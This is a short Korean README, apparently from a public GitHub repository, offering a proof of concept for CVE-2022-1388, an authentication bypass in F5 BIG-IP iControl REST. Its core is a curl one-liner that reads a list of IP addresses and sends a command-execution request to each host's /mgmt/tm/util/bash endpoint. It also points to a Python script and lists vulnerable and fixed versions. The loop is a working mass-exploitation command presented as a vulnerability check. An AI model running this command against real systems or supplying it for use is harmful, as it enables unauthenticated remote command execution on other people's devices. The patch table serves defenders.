shamo0/cve-2022-1388BIG-IP iControl REST 취약점 CVE-2022-1388 PoC
이 취약점으로 인해 관리 포트 및/또는 self IP 주소를 통해 BIG-IP 시스템에 네트워크 액세스 권한이 있는 인증되지 않은 공격자가 임의의 시스템 명령을 실행하거나, 파일을 생성/삭제하거나, 서비스를 비활성화할 수 있습니다.
다음 curl 원라이너를 사용하여 F5 Big-IP 취약점을 확인하거나 제공된 Python 스크립트를 사용할 수 있습니다.
cat ips.txt | while read ip; do curl -su admin -H "Content-Type: application/json" http://$ip/mgmt/tm/util/bash -d '{"command":"run","utilCmdArgs":"-c id"}';done
| 브랜치 | 취약한 버전 | 수정 도입 버전 |
|---|
| 11.x | 11.6.1-11.6.5 | 수정 없음 |
| 12.x | 12.1.0-12.1.6 | 수정 없음 |
| 13.x | 13.1.0-13.1.4 | 13.1.5 |
| 14.x | 14.1.0-14.1.4 | 14.1.4.6 |
| 15.x | 15.1.0-15.1.5 | 15.1.5.1 |
| 16.x | 16.1.0-16.1.2 | 16.1.2.2 |
| 17.x | 없음 | 17.0.0 |
완화 조치에 대한 자세한 내용은 참조를 확인하세요.